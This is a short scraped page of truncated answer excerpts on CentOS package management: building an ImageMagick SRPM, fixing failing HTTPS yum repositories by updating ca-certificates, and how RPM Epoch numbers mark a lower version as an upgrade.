You shouldn’t be having these problems… I tried to search for nice, canned binaries of a current version of ImageMagick. I couldn’t find any that didn’t have odd prerequisites… So I spun up a CentOS 6.3 virtual machine and built the newest ImageMagick SRPM file. You may want to enable the RepoForge repository (formerly RPMForge) … Read more
You just needed to update ca-certificates package. Before that just disable all repos with https that are failing. That’s why solution with commenting mirrorlist or using http instead https would work also. For example if you need to disable only epel repo: yum –disablerepo=epel -y update ca-certificates This will also help wget, curl, and anything … Read more

So, if there is some odd reason why you as a packager want to mark a lower version number as an upgrade, you can tag it with an Epoch number. yum info xorg-x11-xauth Name : xorg-x11-xauth Arch : x86_64 Epoch … Read more
